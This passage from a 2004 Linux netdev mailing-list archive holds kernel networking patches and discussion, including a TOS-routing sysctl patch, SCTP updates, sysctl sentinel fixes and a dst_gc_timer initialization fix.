-1912,11 +1928,11 @@ > > int ip_route_output_slow(struct rtable **rp, const struct flowi *oldflp) > { > - u32 tos = oldflp->fl4_tos & (IPTOS_RT_MASK | RTO_ONLINK); > + u32 tos = oldflp->fl4_tos & (iptos_rt_mask | RTO_ONLINK); > struct flowi fl = { .nl_u = { .ip4_u = > { .daddr = oldflp->fl4_dst, > .saddr = oldflp->fl4_src, > - .tos = tos & IPTOS_RT_MASK, > + .tos = tos & iptos_rt_mask, > .scope = ((tos & RTO_ONLINK) ? > RT_SCOPE_LINK : > RT_SCOPE_UNIVERSE), > @@ -2190,7 +2206,7 @@ > > rth->rt_flags = flags; > > - hash = rt_hash_code(oldflp->fl4_dst, oldflp->fl4_src ^ (oldflp->oif << 5), tos); > + hash = rt_hash_code(oldflp->fl4_dst, oldflp->fl4_src, tos); > err = rt_intern_hash(hash, rth, rp); > done: > if (free_res) > @@ -2213,8 +2229,9 @@ > { > unsigned hash; > struct rtable *rth; > + u8 tos = flp->fl4_tos & (iptos_rt_mask | RTO_ONLINK); > > - hash = rt_hash_code(flp->fl4_dst, flp->fl4_src ^ (flp->oif << 5), flp->fl4_tos); > + hash = rt_hash_code(flp->fl4_dst, flp->fl4_src, tos); > > rcu_read_lock(); > for (rth = rt_hash_table[hash].chain; rth; rth = rth->u.rt_next) { > @@ -2226,8 +2243,7 @@ > #ifdef CONFIG_IP_ROUTE_FWMARK > rth->fl.fl4_fwmark == flp->fl4_fwmark && > #endif > - !((rth->fl.fl4_tos ^ flp->fl4_tos) & > - (IPTOS_RT_MASK | RTO_ONLINK))) { > + rth->fl.fl4_tos == tos) { > rth->u.dst.lastuse = jiffies; > dst_hold(&rth->u.dst); > rth->u.dst.__use++; > @@ -2479,6 +2495,26 @@ > } > > #ifdef CONFIG_SYSCTL > + > +static int ipv4_sysctl_doint_strategy(ctl_table *table, int *name, > + int nlen, void *oldval, > + size_t *oldlenp, void *newval, > + size_t newlen, void **context) > +{ > + int val; > + > + if (!newval || !newlen) > + return 0; > + if (newlen != sizeof(int)) > + return -EINVAL; > + if (get_user(val, (int *)newval)) > + return -EFAULT; > + if (val == *(int *) table->data) > + return 0; > + *(int *) table->data = val; > + return 1; > +} > + > static int flush_delay; > > static int ipv4_sysctl_rtcache_flush(ctl_table *ctl, int write, > @@ -2508,6 +2544,53 @@ > return 0; > } > > +#ifdef CONFIG_IP_ROUTE_TOS > + > +static void do_ignore_tos(void) > +{ > + iptos_rt_mask = ip_rt_ignore_tos? 0 : IPTOS_RT_MASK; > + rt_cache_flush(0); > +} > + > +#endif > + > +static int ip_rt_ignore_tos_handler(ctl_table *ctl, int write, > + struct file *filp, void *buffer, > + size_t *lenp) > +{ > + if (write) { > +#ifdef CONFIG_IP_ROUTE_TOS > + int old = ip_rt_ignore_tos; > + int ret = proc_dointvec(ctl, write, filp, buffer, lenp); > + > + if (ret) > + return ret; > + if (old != ip_rt_ignore_tos) do_ignore_tos(); > + return 0; > +#else > + return -EINVAL; > +#endif > + } > + return proc_dointvec(ctl, write, filp, buffer, lenp); > +} > +static int ipv4_sysctl_ignore_tos_strategy(ctl_table *table, int *name, > + int nlen, void *oldval, > + size_t *oldlenp, void *newval, > + size_t newlen, void **context) > +{ > +#ifdef CONFIG_IP_ROUTE_TOS > + int ret = ipv4_sysctl_doint_strategy(table, name, nlen, oldval, oldlenp, > + newval, newlen, context); > + > + if (1 != ret) > + return ret; > + do_ignore_tos(); > + return 0; > +#else > + return (newval || newlen) ? -EINVAL : 0; > +#endif > +} > + > ctl_table ipv4_route_table[] = { > { > .ctl_name = NET_IPV4_ROUTE_FLUSH, > @@ -2660,6 +2743,23 @@ > .mode = 0644, > .proc_handler = &proc_dointvec_jiffies, > .strategy = &sysctl_jiffies, > + }, > + { > + .ctl_name = NET_IPV4_ROUTE_IGNORE_TOS, > + .procname = "ignore_tos", > + .data = &ip_rt_ignore_tos, > + .maxlen = sizeof(int), > + .mode = 0644, > + .proc_handler = &ip_rt_ignore_tos_handler, > + .strategy = &ipv4_sysctl_ignore_tos_strategy, > + }, > + { > + .ctl_name = NET_IPV4_ROUTE_PMTU_MODE, > + .procname = "pmtu_mode", > + .data = &ip_rt_pmtu_mode, > + .maxlen = sizeof(int), > + .mode = 0644, > + .proc_handler = &proc_dointvec, > }, > { .ctl_name = 0 } > }; > > Regards > > -- > Julian Anastasov > > From romieu@fr.zoreil.com Mon Jan 19 15:27:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 15:28:06 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JNRqmK024730 for ; Mon, 19 Jan 2004 15:27:53 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i0JNONgf022921; Tue, 20 Jan 2004 00:24:23 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i0JNOMo6022920; Tue, 20 Jan 2004 00:24:22 +0100 Date: Tue, 20 Jan 2004 00:24:22 +0100 From: Francois Romieu To: Srihari Vijayaraghavan Cc: netdev@oss.sgi.com Subject: Re: [PROBLEM] r8169 deadlocks Message-ID: <20040120002422.A19029@electric-eye.fr.zoreil.com> References: <200401152039.00182.harisri@bigpond.com> <20040115220827.A22007@electric-eye.fr.zoreil.com> <200401192251.41323.harisri@bigpond.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200401192251.41323.harisri@bigpond.com>; from harisri@bigpond.com on Mon, Jan 19, 2004 at 10:51:41PM +1100 X-Organisation: Land of Sunshine Inc. X-archive-position: 2615 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Srihari Vijayaraghavan : [vmstat 1 output] Ok, mostly idle. [...] > > You can try 2.6.1-bk2 + Jeff Garzik's -netdev4 + > > http://www.fr.zoreil.com/people/francois/misc/r8169-tx-index-overflow.patch > > The r8169-tc-index-overflow.patch does not (cleanly) apply on 2.6.1-bk2 + > netdev4. Can you verify that your kernel tree is fine or give an (sh-)history of the applied patches ? I have just checked and the patch applies cleanly on kernel 2.6.1-bk2 + Jeff's 2.6.1-bk1-netdev4 as well as on kernel 2.6.1-bk4 + Jeff's 2.6.1-bk4-netdev1. -- Ueimor From ap@cipherica.com Mon Jan 19 15:38:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 15:38:40 -0800 (PST) Received: from mailer01.geekmail.cc (dictum-ext.geekmail.cc [204.239.179.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JNcOmK025268 for ; Mon, 19 Jan 2004 15:38:25 -0800 X-Envelope-To: netdev@oss.sgi.com Received: from cipherica.com (h24-87-213-15.vc.shawcable.net [24.87.213.15]) (authenticated bits=0) by mailer01.geekmail.cc (8.12.10/8.12.9) with ESMTP id i0JNcBNT024636 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 19 Jan 2004 15:38:16 -0800 Message-ID: <400C67F4.2050801@cipherica.com> Date: Mon, 19 Jan 2004 15:27:48 -0800 From: Alex Pankratov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andi Kleen CC: Stephen Hemminger , davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH] more improvement to dev_alloc_name -- strnchr References: <1074302619.40088e9bd44a6@www.geekmail.cc> <20040119113204.5913a8d6.shemminger@osdl.org> <20040119210605.3cea32b0.ak@suse.de> <20040119130744.324f582b.shemminger@osdl.org> <20040119221515.74629ac4.ak@suse.de> In-Reply-To: <20040119221515.74629ac4.ak@suse.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2616 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ap@cipherica.com Precedence: bulk X-list: netdev Andi Kleen wrote: > > Not sure what it has to do with that. The #ifdef __HAVE_ARCH_* stuff > is that architectures with crazy enough hackers can add assembly > optimized functions if they want. But it clearly doesn't make any sense > with this function (in fact it doesn't make much sense with any string > function except memset/memcpy) ... [snip] .. as well as memchr/memrchr/memcmp and strlen. Just nitpicking :) From sri@us.ibm.com Mon Jan 19 15:48:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 15:48:16 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JNm2mK025788 for ; Mon, 19 Jan 2004 15:48:02 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0JNlQFn320138; Mon, 19 Jan 2004 18:47:36 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0JNlFwA095378; Mon, 19 Jan 2004 16:47:15 -0700 Date: Mon, 19 Jan 2004 15:47:15 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [BK PATCH] 2.6.1 SCTP updates. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2617 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, Please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work to get the following udpdates to SCTP on top of linux 2.6.1 Some of these changesets have been in my repository for quite some time as 2.6.0 was closed for anything other than critical bug fixes before i went on a vacation in early Dec 2003. The csets include a few bug fixes and some ADDIP extension related patches. # This patch includes the following deltas: # ChangeSet 1.1503 -> 1.1507 # net/sctp/associola.c 1.61.1.1 -> 1.64 # net/sctp/input.c 1.36 -> 1.37 # net/sctp/sm_statefuns.c 1.64 -> 1.67 # net/sctp/sm_make_chunk.c 1.64 -> 1.66 # net/sctp/output.c 1.32 -> 1.33 # include/net/sctp/sctp.h 1.52.1.1 -> 1.54 # net/sctp/outqueue.c 1.37.1.1 -> 1.39 # include/net/sctp/constants.h 1.16 -> 1.17 # net/sctp/sysctl.c 1.14 -> 1.15 # include/net/sctp/sm.h 1.31 -> 1.33 # include/linux/sysctl.h 1.52.1.2 -> 1.55 # net/sctp/protocol.c 1.58 -> 1.60 # include/linux/sctp.h 1.9 -> 1.10 # net/sctp/sm_sideeffect.c 1.49 -> 1.51 # net/sctp/sm_statetable.c 1.19 -> 1.21 # include/net/sctp/structs.h 1.75 -> 1.78 # net/sctp/socket.c 1.99.1.1 -> 1.104 # # The following is the BitKeeper ChangeSet Log ChangeSet@1.1507, 2004-01-19 11:12:44-08:00, sri@us.ibm.com [SCTP] provide valid tos and oif values for ip_route_output_key. (ja@ssi.bg) ChangeSet@1.1506, 2004-01-16 10:58:25-08:00, sri@us.ibm.com [SCTP] Fix bugs in byte order conversion while processing address related SCTP socket options. ChangeSet@1.1505, 2004-01-16 08:42:55-08:00, sri@us.ibm.com [SCTP] ADDIP: Handle T4 RTO timer expiry. ChangeSet@1.1350.8.7, 2003-11-21 11:36:48-08:00, sri@us.ibm.com [SCTP] ADDIP: Support for processing incoming ASCONF_ACK chunks. ChangeSet@1.1350.8.6, 2003-11-14 11:25:42-08:00, sri@us.ibm.com [SCTP] Fix overflow in the macros JIFFIES_TO_MSECS/MSECS_TO_JIFFIES when used with large values. ChangeSet@1.1350.8.5, 2003-11-10 11:47:43-08:00, sri@us.ibm.com [SCTP] Fix the duplicate increment of checksum error counter and counting bad packet errors as checksum errors. ChangeSet@1.1350.8.4, 2003-11-10 11:35:49-08:00, sri@us.ibm.com [SCTP] Fix to free associations in the accept queue of a one-to-one style listening socket that is closed. ChangeSet@1.1350.8.3, 2003-10-28 17:19:26-08:00, sri@us.ibm.com [SCTP] ADDIP: Add sysctl parameter to enable/disable addip. ChangeSet@1.1350.8.2, 2003-10-28 16:15:12-08:00, sri@us.ibm.com [SCTP] Remove the extra semicolon in sctp_cacc_skip_3_1(). ChangeSet@1.1350.8.1, 2003-10-28 16:12:52-08:00, sri@us.ibm.com [SCTP] ADDIP: Support for processing ASCONF chunks and respond with ASCONF_ACK chunks. Thanks Sridhar From thomas.schlichter@web.de Mon Jan 19 15:51:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 15:51:51 -0800 (PST) Received: from smtp.web.de (smtp04.web.de [217.72.192.208]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JNpamK026193 for ; Mon, 19 Jan 2004 15:51:37 -0800 Received: from [217.228.161.146] (helo=bigboss.workgroup) by smtp.web.de with asmtp (TLSv1:RC4-MD5:128) (WEB.DE 4.99 #566) id 1AijAi-0000iv-00; Tue, 20 Jan 2004 00:51:08 +0100 From: Thomas Schlichter To: Krishna Kumar , akpm@osdl.org Subject: Re: [TEST_PATCH]Re: Fw: Oops in register_proc_table (2.6.1-mm4) Date: Tue, 20 Jan 2004 00:51:01 +0100 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com, KK References: In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Boundary-02=_r1GDAZaB+9HOpI8"; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200401200051.07144.thomas.schlichter@web.de> X-archive-position: 2618 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: thomas.schlichter@web.de Precedence: bulk X-list: netdev --Boundary-02=_r1GDAZaB+9HOpI8 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Description: signed data Content-Disposition: inline Hi, Am Montag, 19. Januar 2004 20:49 schrieb Krishna Kumar: > Hi, > > Can you test with following patch ? Yes, and it cures the Oops here! > thanks, Thank you, too! > - KK Thomas Schlichter > diff -ruN linux-2.6.0-rc2-bk6/net/ipv6/route.c > linux-2.6.0-rc2-bk6.new/net/ipv6/route.c --- > linux-2.6.0-rc2-bk6/net/ipv6/route.c 2004-01-19 11:41:14.000000000 -0800 > +++ linux-2.6.0-rc2-bk6.new/net/ipv6/route.c 2004-01-19 11:42:33.000000000 > -0800 @@ -1974,6 +1974,7 @@ > .proc_handler = &proc_dointvec_jiffies, > .strategy = &sysctl_jiffies, > }, > + { .ctl_name = 0 } > }; > > #endif --Boundary-02=_r1GDAZaB+9HOpI8 Content-Type: application/pgp-signature Content-Description: signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQBADG1rYAiN+WRIZzQRAnSIAJ9Dr9Rls6ORjAsXxROZDhs+Gjw7JwCZAXF9 mNVOLZef6gtVZE2xE0qy/f8= =cRT8 -----END PGP SIGNATURE----- --Boundary-02=_r1GDAZaB+9HOpI8-- From krkumar@us.ibm.com Mon Jan 19 16:16:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 16:16:59 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K0GWmK027499 for ; Mon, 19 Jan 2004 16:16:41 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0K0Fk19161068; Mon, 19 Jan 2004 19:15:56 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0K0FZwA130344; Mon, 19 Jan 2004 17:15:35 -0700 Date: Mon, 19 Jan 2004 16:06:22 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp15191261uds.beaverton.ibm.com To: davem@redhat.com, Thomas Schlichter cc: akpm@osdl.org, Subject: [PATCH] Oops in register_proc_table (2.6.1-mm4) In-Reply-To: <200401200051.07144.thomas.schlichter@web.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2619 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Hi Dave, Please apply the patch below. Thanks, - KK diff -ruN linux-2.6.0-rc2-bk6/net/ipv6/route.c linux-2.6.0-rc2-bk6.new/net/ipv6/route.c --- linux-2.6.0-rc2-bk6/net/ipv6/route.c 2004-01-19 11:41:14.000000000 -0800 +++ linux-2.6.0-rc2-bk6.new/net/ipv6/route.c 2004-01-19 11:42:33.000000000 -0800 @@ -1974,6 +1974,7 @@ .proc_handler = &proc_dointvec_jiffies, .strategy = &sysctl_jiffies, }, + { .ctl_name = 0 } }; #endif On Tue, 20 Jan 2004, Thomas Schlichter wrote: > Hi, > > Am Montag, 19. Januar 2004 20:49 schrieb Krishna Kumar: > > Hi, > > > > Can you test with following patch ? > > Yes, and it cures the Oops here! > > > thanks, > > Thank you, too! > > > - KK > > Thomas Schlichter From ap@cipherica.com Mon Jan 19 16:24:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 16:24:49 -0800 (PST) Received: from mailer01.geekmail.cc (dictum-ext.geekmail.cc [204.239.179.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K0OamK031248 for ; Mon, 19 Jan 2004 16:24:36 -0800 Received: from cipherica.com (h24-87-213-15.vc.shawcable.net [24.87.213.15]) (authenticated bits=0) by mailer01.geekmail.cc (8.12.10/8.12.9) with ESMTP id i0K0OTNT026000 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 19 Jan 2004 16:24:30 -0800 Message-ID: <400C72CF.9020906@cipherica.com> Date: Mon, 19 Jan 2004 16:14:07 -0800 From: Alex Pankratov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: davem@redhat.com CC: netdev@oss.sgi.com Subject: [PATCH 2.6.1] dst_gc_timer initialization Content-Type: multipart/mixed; boundary="------------080502050504050300070007" X-archive-position: 2620 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ap@cipherica.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------080502050504050300070007 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit The second and third parameters of TIMER_INITIALIZER macro, which is used to initialize dst_gc_timer, are swapped. The patch puts them into the right order. Alex --------------080502050504050300070007 Content-Type: text/plain; name="dst.c.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="dst.c.diff" --- dst.c 2004-01-19 16:16:41.323996968 -0800 +++ dst.c.patched 2004-01-19 16:16:31.188537792 -0800 @@ -40,7 +40,7 @@ static void ___dst_free(struct dst_entry * dst); static struct timer_list dst_gc_timer = - TIMER_INITIALIZER(dst_run_gc, 0, DST_GC_MIN); + TIMER_INITIALIZER(dst_run_gc, DST_GC_MIN, 0); static void dst_run_gc(unsigned long dummy) { --------------080502050504050300070007-- From yoshfuji@linux-ipv6.org Mon Jan 19 16:41:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 16:42:06 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K0frmK031944 for ; Mon, 19 Jan 2004 16:41:54 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 4DCB733CA5; Tue, 20 Jan 2004 09:42:23 +0900 (JST) Date: Tue, 20 Jan 2004 09:42:23 +0900 (JST) Message-Id: <20040120.094223.76534381.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH] IPV6: add missing sentinel for addrconf procfs From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2621 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Sorry, I forgot to increase the number of members in the array and that the sentinel was removed. So, add missing sentinel explicitly. ===== net/ipv6/addrconf.c 1.85 vs edited ===== --- 1.85/net/ipv6/addrconf.c Fri Jan 16 19:05:24 2004 +++ edited/net/ipv6/addrconf.c Tue Jan 20 09:34:19 2004 @@ -3039,7 +3039,7 @@ static struct addrconf_sysctl_table { struct ctl_table_header *sysctl_header; - ctl_table addrconf_vars[16]; + ctl_table addrconf_vars[17]; ctl_table addrconf_dev[2]; ctl_table addrconf_conf_dir[2]; ctl_table addrconf_proto_dir[2]; @@ -3180,6 +3180,9 @@ .mode = 0644, .proc_handler = &proc_dointvec, }, + { + .ctl_name = 0, /* sentinel */ + } }, .addrconf_dev = { { -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From akpm@osdl.org Mon Jan 19 18:46:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 18:46:54 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K2kUmK003742 for ; Mon, 19 Jan 2004 18:46:35 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i0K2kBo03094; Mon, 19 Jan 2004 18:46:11 -0800 Date: Mon, 19 Jan 2004 18:46:30 -0800 From: Andrew Morton To: Jim Keniston Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, jgarzik@pobox.com, jkenisto@us.ibm.com, scott.feldman@intel.com, kessler@us.ibm.com Subject: Re: [PATCH 2.6.1] Net device error logging Message-Id: <20040119184630.5d066735.akpm@osdl.org> In-Reply-To: <400C3D3E.BFCC25CE@us.ibm.com> References: <400C3D3E.BFCC25CE@us.ibm.com> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2622 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Jim Keniston wrote: > > The enclosed patch implements the netdev_* error-logging macros for > network drivers. Looks OK to me. But it does make one wonder whether we'll soon see standalone patches for scsi_printk(), pci_bridge_printk(), random_other_subsystem_printk(), ...? Or is it intended that the backend logging code will be implemented mainly in terms of the `struct device'? So netdev_printk() will be a bit of netdev-specific boilerplate which then calls into a more generic device_printk()? From c-d.hailfinger.kernel.2003@gmx.net Mon Jan 19 20:22:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 20:22:38 -0800 (PST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K4MKmK009027 for ; Mon, 19 Jan 2004 20:22:21 -0800 Received: (qmail 2850 invoked by uid 65534); 20 Jan 2004 04:22:14 -0000 Received: from stud214184.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.214.184) by mail.gmx.net (mp016) with SMTP; 20 Jan 2004 05:22:14 +0100 X-Authenticated: #15936885 Message-ID: <400CACEB.6050307@gmx.net> Date: Tue, 20 Jan 2004 05:22:03 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: a.verweij@student.tudelft.nl CC: netdev@oss.sgi.com, len.brown@intel.com Subject: Re: [Forcedeth] Wake-on-LAN support? References: In-Reply-To: X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2623 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2003@gmx.net Precedence: bulk X-list: netdev Arjen Verweij wrote: > L.S., > > First, many thanks for your efforts. The driver works beautifully here, > with 2.4.23 and 2.6.0-test11 alike. > > I was wondering if it is possible to add Wake-on-LAN support to the > driver. NVidia claims their binary driver supports WOL, but it doesn't > work one bit. It is possible to look into this? > > I have filed a bugtracker with the ACPI people, but they are somewhat > understandably preoccupied with fixing laptop woes. > > URL: > http://bugzilla.kernel.org/show_bug.cgi?id=1636 > > I am able to enable WOL at shutdown with pci-config from scyld.com, but > this is obviously an ugly fix. Hmmm... normally I would say enabling WOL is the job of the BIOS. Comments anyone? Setting Wake-on-LAN patterns will be supported in a future version of forcedeth but right now I'm swamped with university work. Carl-Daniel -- http://www.hailfinger.org/ From davem@pizda.ninka.net Mon Jan 19 20:37:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 20:37:29 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K4bAmK009668 for ; Mon, 19 Jan 2004 20:37:10 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA21650; Mon, 19 Jan 2004 20:29:02 -0800 Date: Mon, 19 Jan 2004 20:29:02 -0800 From: "David S. Miller" To: "Kevin W. Rudd" Cc: netdev@oss.sgi.com Subject: Re: PMTU issues due to TOS field manipulation (for DSCP) Message-Id: <20040119202902.2eff005f.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2624 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 14:43:50 -0800 (PST) "Kevin W. Rudd" wrote: > Does anyone know the status of this potential patch? There has been > silence since the initial patch proposal was made over a month ago. It's still in my backlog, I'll get to it as time permits, I can promise nothing else. From davem@pizda.ninka.net Mon Jan 19 21:03:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:04:09 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0K53umK010485 for ; Mon, 19 Jan 2004 21:03:56 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA21708; Mon, 19 Jan 2004 20:55:58 -0800 Date: Mon, 19 Jan 2004 20:55:57 -0800 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: add missing sentinel for addrconf procfs Message-Id: <20040119205557.3de4b261.davem@redhat.com> In-Reply-To: <20040120.094223.76534381.yoshfuji@linux-ipv6.org> References: <20040120.094223.76534381.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2625 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 20 Jan 2004 09:42:23 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > Sorry, I forgot to increase the number of members in the array and > that the sentinel was removed. > So, add missing sentinel explicitly. Applied, thanks yoshfuji. From davem@pizda.ninka.net Mon Jan 19 21:05:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 21:05:47 -0800 (PST) Received: from 